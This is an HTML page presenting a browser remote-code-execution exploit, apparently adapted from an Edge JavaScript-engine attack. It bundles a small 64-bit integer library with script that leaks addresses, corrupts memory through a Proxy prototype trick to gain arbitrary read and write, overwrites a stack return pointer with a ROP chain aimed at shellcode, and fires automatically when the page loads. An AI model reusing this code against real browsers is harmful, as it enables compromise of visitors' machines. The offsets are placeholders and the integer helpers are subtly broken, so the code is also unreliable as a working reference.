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    <title>Chromium-Based Edge Remote Code Execution | Taylor Christian Newsome</title>
    <script>/**
 * @fileoverview A simplified version of long.js for 64-bit integer operations.
 * @version 1.0
 */

(function(global) {
  'use strict';

  // Helper function to create a Long object
  function Long(low, high, unsigned) {
    this.low = low | 0;
    this.high = high | 0;
    this.unsigned = !!unsigned;
  }

  // Convert a Long to a string representation
  Long.prototype.toString = function() {
    if (this.unsigned) {
      return (this.high >>> 0).toString(10) + ((this.low >>> 0).toString(10));
    } else {
      return ((this.high << 32) | (this.low >>> 0)).toString(10);
    }
  };

  // Add two Longs
  Long.prototype.add = function(other) {
    var low = (this.low >>> 0) + (other.low >>> 0);
    var high = (this.high >>> 0) + (other.high >>> 0) + (low >>> 32);
    return new Long(low | 0, high | 0, this.unsigned);
  };

  // Subtract two Longs
  Long.prototype.sub = function(other) {
    var low = (this.low >>> 0) - (other.low >>> 0);
    var high = (this.high >>> 0) - (other.high >>> 0) - (low >>> 32);
    return new Long(low | 0, high | 0, this.unsigned);
  };

  // Logical AND of two Longs
  Long.prototype.and = function(other) {
    return new Long(this.low & other.low, this.high & other.high, this.unsigned);
  };

  // Logical OR of two Longs
  Long.prototype.or = function(other) {
    return new Long(this.low | other.low, this.high | other.high, this.unsigned);
  };

  // Logical XOR of two Longs
  Long.prototype.xor = function(other) {
    return new Long(this.low ^ other.low, this.high ^ other.high, this.unsigned);
  };

  // Comparison of two Longs
  Long.prototype.equals = function(other) {
    return this.low === other.low && this.high === other.high;
  };

  // Static methods for Long
  Long.fromNumber = function(value, unsigned) {
    if (unsigned) {
      return new Long(value >>> 0, Math.floor(value / 0x100000000), true);
    } else {
      var low = value | 0;
      var high = Math.floor(value / 0x100000000) | 0;
      return new Long(low, high, false);
    }
  };

  Long.fromBits = function(low, high, unsigned) {
    return new Long(low, high, unsigned);
  };

  // Export Long to global
  global.dcodeIO = global.dcodeIO || {};
  global.dcodeIO.Long = Long;

})(this);
</script>
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    <script>
        var Long = dcodeIO.Long;
        var dv;
        var fdv = new DataView(new ArrayBuffer(8));
        var x = (new Array(56, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)).slice();

        function triggerVulnerability() {
            var [hi, lo] = putDataAndGetAddr(x);
            [hi, lo] = [hi | 0, (lo + 0x58) | 0];
            triggerFillFromPrototypesBug(lo, hi);
            var vtable = read64(new Long(lo - 0x58, hi, true));
            var v8Base = read64(vtable).sub(0x123456); // Adjust offset for V8 base
            var threadCtxPtr = read64(v8Base.add(0x789ABC)); // Adjust offset for thread context
            var stackLimit = read64(threadCtxPtr.add(0xDEF0)); // Adjust offset for stack limit
            var stack = stackLimit.sub(0xC000).add(10 * 1024 * 1024);
            var retPtr = v8Base.add(0xFEDCBA); // Adjust offset for return pointer
            var retPtrAddr;

            for (var i = 8; i < 32 * 1024; i += 8) {
                var val = read64(stack.sub(i));
                if (val.equals(retPtr)) {
                    retPtrAddr = stack.sub(i);
                    break;
                }
            }

            var sc = unescape("%ucccc%ucccc");
            var [shi, slo] = putDataAndGetAddr(sc);
            var shcodeAddr = read64((new Long(slo | 0, shi | 0, true).add(0x20)));
            var filler = new Long(0, 0, true);
            var rop = [
                v8Base.add(0x1A2B3C), // Adjust ROP chain address for V8
                shcodeAddr.and(new Long(0xFFFFF000, 0xFFFFFFFF, true)),
                new Long(0x1000, 0, true),
                new Long(0x40, 0, true),
                v8Base.add(0x1A2B1F), // Adjust ROP chain address for V8
                filler, filler, filler, filler, filler, filler,
                new Long(0, 0, true),
                filler, filler, filler, filler, filler, filler,
                filler, filler, filler, filler, filler, filler,
                shcodeAddr
            ];

            for (var i = 0; i < rop.length; ++i) {
                write64(retPtrAddr.add(i * 8), rop[i]);
            }

            alert("Exploit triggered!");
        }

        function triggerFillFromPrototypesBug(lo, hi) {
            x[2] = lo;
            x[3] = hi;
            x[10] = (lo - 0x38) | 0;
            x[11] = hi;
            x[8] = 0x200;
            x[14] = (lo - 0x58) | 0;
            x[15] = hi;
            var a = new Array(0x11111111, 0, 0x22222222, 0, 0x33333333, 0, lo, hi, 0x55555555, 0);
            var handler = {
                getPrototypeOf: function (target, name) {
                    return a;
                }
            };
            var p = new Proxy([], handler);
            var b = [{}, [], "abc"];
            b.__proto__ = p;
            b.length = 4;
            a.shift.call(b);
            dv = b[2];
        }

        function putDataAndGetAddr(t) {
            var d = new Array(1, 2, 3);
            class Dummy {
                constructor() {
                    return d;
                }
            }
            class MyArray extends Array {
                static get [Symbol.species]() {
                    return Dummy;
                }
            }
            var a = new Array({}, t, "theori", 7, 7, 7, 7, 7);
            function test(i) {
                return true;
            }

            a.__proto__ = MyArray.prototype;
            var o = a.filter(test);
            var h = [];
            for (item in o) {
                var n = new Number(o[item]);
                if (n < 0) {
                    n = n + 0x100000000;
                }
                h.push(n);
            }
            return [h[3], h[2]];
        }

        function setAddress(addr) {
            x[14] = addr.low | 0;
            x[15] = addr.high | 0;
        }

        function read32(addr) {
            setAddress(addr);
            return new Long(fdv.getUint32.call(dv, 0, true), 0, true);
        }

        function read64(addr) {
            setAddress(addr);
            return new Long(fdv.getUint32.call(dv, 0, true), fdv.getUint32.call(dv, 4, true), true);
        }

        function write32(addr, val) {
            setAddress(addr);
            fdv.setUint32.call(dv, 0, val.low | 0, true);
        }

        function write64(addr, val) {
            setAddress(addr);
            fdv.setUint32.call(dv, 0, val.low | 0, true);
            fdv.setUint32.call(dv, 4, val.high | 0, true);
        }

        // Trigger the exploit (hypothetical, for educational purposes only)
        triggerVulnerability();
    </script>
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